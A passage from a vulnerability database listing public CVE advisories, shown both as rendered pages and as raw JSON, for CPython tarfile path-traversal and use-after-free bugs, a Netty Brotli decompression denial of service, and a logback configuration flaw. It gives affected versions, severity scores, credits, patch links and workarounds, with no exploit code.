You are affected by this vulnerability if using the tarfile module to extract untrusted tar archives using TarFile.extractall() or TarFile.extract() using the filter= parameter with a value of "data" or "tar". See the tarfile extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter for more information.
Note that for Python 3.14 or later the default value of filter= changed from "no filtering" to `"data", so if you are relying on this new default behavior then your usage is also affected.
Note that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.
Severity
7.5 (High)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
12 references
| URL | Tags |
|---|---|
| https://github.com/python/cpython/issues/135034 | issue-tracking |
| https://github.com/python/cpython/pull/135037 | patch |
| https://mail.python.org/archives/list/security-an… | vendor-advisory |
| https://github.com/python/cpython/commit/3612d8f5… | patch |
| https://github.com/python/cpython/commit/9e0ac76d… | patch |
| https://gist.github.com/sethmlarson/52398e33eff26… | mitigation |
| https://github.com/python/cpython/commit/19de092d… | patch |
| https://github.com/python/cpython/commit/aa9eb5f7… | patch |
| https://github.com/python/cpython/commit/28463dba… | patch |
| https://github.com/python/cpython/commit/4633f3f4… | patch |
| https://github.com/python/cpython/commit/9c1110ef… | patch |
| https://github.com/python/cpython/commit/dd8f187d… | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Python Software Foundation | CPython |
Affected:
0 , < 3.10.18
(python)
Affected: 3.11.0 , < 3.11.13 (python) Affected: 3.12.0 , < 3.12.11 (python) Affected: 3.13.0 , < 3.13.4 (python) Affected: 3.14.0a1 , < 3.14.0b3 (python) |
Credits
Caleb Brown (Google)
Petr Viktorin
Serhiy Storchaka
Hugo van Kemenade
Łukasz Langa
Thomas Wouters
Seth Larson
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-4330",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-06-03T13:27:07.778910Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-06-10T13:24:45.824Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"tarfile"
],
"product": "CPython",
"repo": "https://github.com/python/cpython",
"vendor": "Python Software Foundation",
"versions": [
{
"lessThan": "3.10.18",
"status": "affected",
"version": "0",
"versionType": "python"
},
{
"lessThan": "3.11.13",
"status": "affected",
"version": "3.11.0",
"versionType": "python"
},
{
"lessThan": "3.12.11",
"status": "affected",
"version": "3.12.0",
"versionType": "python"
},
{
"lessThan": "3.13.4",
"status": "affected",
"version": "3.13.0",
"versionType": "python"
},
{
"lessThan": "3.14.0b3",
"status": "affected",
"version": "3.14.0a1",
"versionType": "python"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Caleb Brown (Google)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Petr Viktorin"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Serhiy Storchaka"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hugo van Kemenade"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "\u0141ukasz Langa"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Thomas Wouters"
},
{
"lang": "en",
"type": "coordinator",
"value": "Seth Larson"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eAllows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.\u003c/span\u003e\u003cbr\u003e\u003c/p\u003e\u003cp\u003eYou are affected by this vulnerability if using the \u003ccode\u003etarfile\u003c/code\u003e\u0026nbsp;module to extract untrusted tar archives using \u003ccode\u003eTarFile.extractall()\u003c/code\u003e\u0026nbsp;or \u003ccode\u003eTarFile.extract()\u003c/code\u003e\u0026nbsp;using the \u003ccode\u003efilter=\u003c/code\u003e\u0026nbsp;parameter with a value of \u003ccode\u003e\"data\"\u003c/code\u003e\u0026nbsp;or \u003ccode\u003e\"tar\"\u003c/code\u003e. See the tarfile \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter\"\u003eextraction filters documentation\u003c/a\u003e\u0026nbsp;for more information.\u003c/p\u003e\u003cp\u003eNote that for Python 3.14 or later the default value of \u003ccode\u003efilter=\u003c/code\u003e\u0026nbsp;changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\u003c/p\u003e\u003cp\u003eNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it\u0027s important to avoid installing source distributions with suspicious links.\u003cbr\u003e\u003c/p\u003e\u003cbr\u003e"
}
],
"value": "Allows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.\n\n\nYou are affected by this vulnerability if using the tarfile\u00a0module to extract untrusted tar archives using TarFile.extractall()\u00a0or TarFile.extract()\u00a0using the filter=\u00a0parameter with a value of \"data\"\u00a0or \"tar\". See the tarfile extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter \u00a0for more information.\n\nNote that for Python 3.14 or later the default value of filter=\u00a0changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\n\nNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it\u0027s important to avoid installing source distributions with suspicious links."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T20:16:19.312Z",
"orgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"shortName": "PSF"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/python/cpython/issues/135034"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/pull/135037"
},
{
"tags": [
"vendor-advisory"
],
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/3612d8f51741b11f36f8fb0494d79086bac9390a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/9e0ac76d96cf80b49055f6d6b9a6763fb9215c2a"
},
{
"tags": [
"mitigation"
],
"url": "https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/19de092debb3d7e832e5672cc2f7b788d35951da"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/aa9eb5f757ceff461e6e996f12c89e5d9b583b01"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/28463dba112af719df1e8b0391c46787ad756dd9"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/4633f3f497b1ff70e4a35b6fe2c907cbe2d4cb2e"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/9c1110ef6652687d7c55f590f909720eddde965a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/dd8f187d0746da151e0025c51680979ac5b4cfb1"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Extraction filter bypass for linking outside extraction directory",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"assignerShortName": "PSF",
"cveId": "CVE-2025-4330",
"datePublished": "2025-06-03T12:58:57.452Z",
"dateReserved": "2025-05-05T15:05:14.302Z",
"dateUpdated": "2026-04-21T20:16:19.312Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-4516 (GCVE-0-2025-4516)
Vulnerability from cvelistv5 – Published: 2025-05-15 13:29 – Updated: 2026-04-21 20:16
VLAI
EPSS
Title
Use-after-free in "unicode_escape" decoder with error handler
Summary
There is an issue in CPython when using `bytes.decode("unicode_escape", error="ignore|replace")`. If you are not using the "unicode_escape" encoding or an error handler your usage is not affected. To work-around this issue you may stop using the error= handler and instead wrap the bytes.decode() call in a try-except catching the DecodeError.
Severity
CWE
- CWE-416 - Use After Free
Assigner
References
10 references
| URL | Tags |
|---|---|
| https://github.com/python/cpython/issues/133767 | issue-tracking |
| https://github.com/python/cpython/pull/129648 | patch |
| https://mail.python.org/archives/list/security-an… | vendor-advisory |
| https://github.com/python/cpython/commit/69b4387f… | patch |
| https://github.com/python/cpython/commit/9f69a586… | patch |
| https://github.com/python/cpython/commit/4398b788… | patch |
| https://github.com/python/cpython/commit/6279eb8c… | patch |
| https://github.com/python/cpython/commit/73b3040f… | patch |
| https://github.com/python/cpython/commit/8d35fd1b… | patch |
| https://github.com/python/cpython/commit/ab9893c4… | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Python Software Foundation | CPython |
Affected:
0 , < 3.10.18
(python)
Affected: 3.11.0 , < 3.11.13 (python) Affected: 3.12.0 , < 3.12.11 (python) Affected: 3.13.0 , < 3.13.4 (python) Affected: 3.14.0a1 , < 3.14.0b2 (python) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-4516",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-05-15T14:18:44.612125Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-05-15T14:18:50.599Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2025-05-19T10:03:31.542Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://www.openwall.com/lists/oss-security/2025/05/16/4"
},
{
"url": "http://www.openwall.com/lists/oss-security/2025/05/19/1"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "CPython",
"repo": "https://github.com/python/cpython",
"vendor": "Python Software Foundation",
"versions": [
{
"lessThan": "3.10.18",
"status": "affected",
"version": "0",
"versionType": "python"
},
{
"lessThan": "3.11.13",
"status": "affected",
"version": "3.11.0",
"versionType": "python"
},
{
"lessThan": "3.12.11",
"status": "affected",
"version": "3.12.0",
"versionType": "python"
},
{
"lessThan": "3.13.4",
"status": "affected",
"version": "3.13.0",
"versionType": "python"
},
{
"lessThan": "3.14.0b2",
"status": "affected",
"version": "3.14.0a1",
"versionType": "python"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "There is an issue in CPython when using `bytes.decode(\"unicode_escape\", error=\"ignore|replace\")`. If you are not using the \"unicode_escape\" encoding or an error handler your usage is not affected. To work-around this issue you may stop using the error= handler and instead wrap the bytes.decode() call in a try-except catching the DecodeError."
}
],
"value": "There is an issue in CPython when using `bytes.decode(\"unicode_escape\", error=\"ignore|replace\")`. If you are not using the \"unicode_escape\" encoding or an error handler your usage is not affected. To work-around this issue you may stop using the error= handler and instead wrap the bytes.decode() call in a try-except catching the DecodeError."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-416",
"description": "CWE-416 Use After Free",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T20:16:47.161Z",
"orgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"shortName": "PSF"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/python/cpython/issues/133767"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/pull/129648"
},
{
"tags": [
"vendor-advisory"
],
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/L75IPBBTSCYEF56I2M4KIW353BB3AY74/"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/69b4387f78f413e8c47572a85b3478c47eba8142"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/9f69a58623bd01349a18ba0c7a9cb1dad6a51e8e"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/4398b788ffc1f954a2c552da285477d42a571292"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/6279eb8c076d89d3739a6edb393e43c7929b429d"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/73b3040f592436385007918887b7e2132aa8431f"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/8d35fd1b34935221aff23a1ab69a429dd156be77"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/ab9893c40609935e0d40a6d2a7307ea51aec598b"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Use-after-free in \"unicode_escape\" decoder with error handler",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"assignerShortName": "PSF",
"cveId": "CVE-2025-4516",
"datePublished": "2025-05-15T13:29:20.126Z",
"dateReserved": "2025-05-09T14:59:53.878Z",
"dateUpdated": "2026-04-21T20:16:47.161Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-4517 (GCVE-0-2025-4517)
Vulnerability from cvelistv5 – Published: 2025-06-03 12:58 – Updated: 2026-04-21 20:17
VLAI
EPSS
Title
Arbitrary writes via tarfile realpath overflow
Summary
Allows arbitrary filesystem writes outside the extraction directory during extraction with filter="data".
You are affected by this vulnerability if using the tarfile module to extract untrusted tar archives using TarFile.extractall() or TarFile.extract() using the filter= parameter with a value of "data" or "tar". See the tarfile extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter for more information.
Note that for Python 3.14 or later the default value of filter= changed from "no filtering" to `"data", so if you are relying on this new default behavior then your usage is also affected.
Note that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.
Severity
9.4 (Critical)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
12 references
| URL | Tags |
|---|---|
| https://github.com/python/cpython/issues/135034 | issue-tracking |
| https://github.com/python/cpython/pull/135037 | patch |
| https://mail.python.org/archives/list/security-an… | vendor-advisory |
| https://github.com/python/cpython/commit/3612d8f5… | patch |
| https://github.com/python/cpython/commit/9e0ac76d… | patch |
| https://gist.github.com/sethmlarson/52398e33eff26… | mitigation |
| https://github.com/python/cpython/commit/19de092d… | patch |
| https://github.com/python/cpython/commit/aa9eb5f7… | patch |
| https://github.com/python/cpython/commit/28463dba… | patch |
| https://github.com/python/cpython/commit/4633f3f4… | patch |
| https://github.com/python/cpython/commit/9c1110ef… | patch |
| https://github.com/python/cpython/commit/dd8f187d… | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Python Software Foundation | CPython |
Affected:
0 , < 3.10.18
(python)
Affected: 3.11.0 , < 3.11.13 (python) Affected: 3.12.0 , < 3.12.11 (python) Affected: 3.13.0 , < 3.13.4 (python) Affected: 3.14.0a1 , < 3.14.0b3 (python) |
Credits
Caleb Brown (Google)
Petr Viktorin
Serhiy Storchaka
Hugo van Kemenade
Łukasz Langa
Thomas Wouters
Seth Larson
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-4517",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-24T03:55:18.283911Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T18:27:38.812Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"tarfile"
],
"product": "CPython",
"repo": "https://github.com/python/cpython",
"vendor": "Python Software Foundation",
"versions": [
{
"lessThan": "3.10.18",
"status": "affected",
"version": "0",
"versionType": "python"
},
{
"lessThan": "3.11.13",
"status": "affected",
"version": "3.11.0",
"versionType": "python"
},
{
"lessThan": "3.12.11",
"status": "affected",
"version": "3.12.0",
"versionType": "python"
},
{
"lessThan": "3.13.4",
"status": "affected",
"version": "3.13.0",
"versionType": "python"
},
{
"lessThan": "3.14.0b3",
"status": "affected",
"version": "3.14.0a1",
"versionType": "python"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Caleb Brown (Google)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Petr Viktorin"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Serhiy Storchaka"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hugo van Kemenade"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "\u0141ukasz Langa"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Thomas Wouters"
},
{
"lang": "en",
"type": "coordinator",
"value": "Seth Larson"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eAllows arbitrary filesystem writes outside the extraction directory during extraction with \u003c/span\u003e\u003ccode\u003efilter=\"data\"\u003c/code\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e.\u003c/span\u003e\u003cbr\u003e\u003c/p\u003e\u003cp\u003eYou are affected by this vulnerability if using the \u003ccode\u003etarfile\u003c/code\u003e\u0026nbsp;module to extract untrusted tar archives using \u003ccode\u003eTarFile.extractall()\u003c/code\u003e\u0026nbsp;or \u003ccode\u003eTarFile.extract()\u003c/code\u003e\u0026nbsp;using the \u003ccode\u003efilter=\u003c/code\u003e\u0026nbsp;parameter with a value of \u003ccode\u003e\"data\"\u003c/code\u003e\u0026nbsp;or \u003ccode\u003e\"tar\"\u003c/code\u003e. See the tarfile \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter\"\u003eextraction filters documentation\u003c/a\u003e\u0026nbsp;for more information.\u003c/p\u003e\u003cp\u003eNote that for Python 3.14 or later the default value of \u003ccode\u003efilter=\u003c/code\u003e\u0026nbsp;changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\u003c/p\u003e\u003cp\u003eNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it\u0027s important to avoid installing source distributions with suspicious links.\u003cbr\u003e\u003c/p\u003e"
}
],
"value": "Allows arbitrary filesystem writes outside the extraction directory during extraction with filter=\"data\".\n\n\nYou are affected by this vulnerability if using the tarfile\u00a0module to extract untrusted tar archives using TarFile.extractall()\u00a0or TarFile.extract()\u00a0using the filter=\u00a0parameter with a value of \"data\"\u00a0or \"tar\". See the tarfile extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter \u00a0for more information.\n\nNote that for Python 3.14 or later the default value of filter=\u00a0changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\n\nNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it\u0027s important to avoid installing source distributions with suspicious links."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-21T20:17:01.375Z",
"orgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"shortName": "PSF"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/python/cpython/issues/135034"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/pull/135037"
},
{
"tags": [
"vendor-advisory"
],
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/3612d8f51741b11f36f8fb0494d79086bac9390a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/9e0ac76d96cf80b49055f6d6b9a6763fb9215c2a"
},
{
"tags": [
"mitigation"
],
"url": "https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/19de092debb3d7e832e5672cc2f7b788d35951da"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/aa9eb5f757ceff461e6e996f12c89e5d9b583b01"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/28463dba112af719df1e8b0391c46787ad756dd9"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/4633f3f497b1ff70e4a35b6fe2c907cbe2d4cb2e"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/9c1110ef6652687d7c55f590f909720eddde965a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/python/cpython/commit/dd8f187d0746da151e0025c51680979ac5b4cfb1"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Arbitrary writes via tarfile realpath overflow",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "28c92f92-d60d-412d-b760-e73465c3df22",
"assignerShortName": "PSF",
"cveId": "CVE-2025-4517",
"datePublished": "2025-06-03T12:58:50.352Z",
"dateReserved": "2025-05-09T15:05:07.139Z",
"dateUpdated": "2026-04-21T20:17:01.375Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-58057 (GCVE-0-2025-58057)
Vulnerability from cvelistv5 – Published: 2025-09-03 21:46 – Updated: 2025-09-04 19:59
VLAI
EPSS
Title
Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack
Summary
Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.
Severity
CWE
- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/netty/netty/commit/9d804c54ce9… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-58057",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-09-04T19:59:14.684509Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-09-04T19:59:23.458Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003c= 4.1.124.Final, \u003c 4.1.125.Final"
},
{
"status": "affected",
"version": "\u003c= 4.2.4.Final, \u003c 4.2.5.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers \u0026 clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-409",
"description": "CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-09-03T21:46:49.928Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"name": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
}
],
"source": {
"advisory": "GHSA-3p8m-j85q-pgmj",
"discovery": "UNKNOWN"
},
"title": "Netty\u0027s BrotliDecoder is vulnerable to DoS via zip bomb style attack"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-58057",
"datePublished": "2025-09-03T21:46:49.928Z",
"dateReserved": "2025-08-22T14:30:32.221Z",
"dateUpdated": "2025-09-04T19:59:23.458Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2026-1225 (GCVE-0-2026-1225)
Vulnerability from cvelistv5 – Published: 2026-01-22 09:24 – Updated: 2026-01-22 14:14
VLAI
EPSS
Title
Malicious logback.xml configuration file allows instantiation of arbitrary classes
Summary
ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a
configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
Severity
CWE
- CWE-20 - Improper Input Validation
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
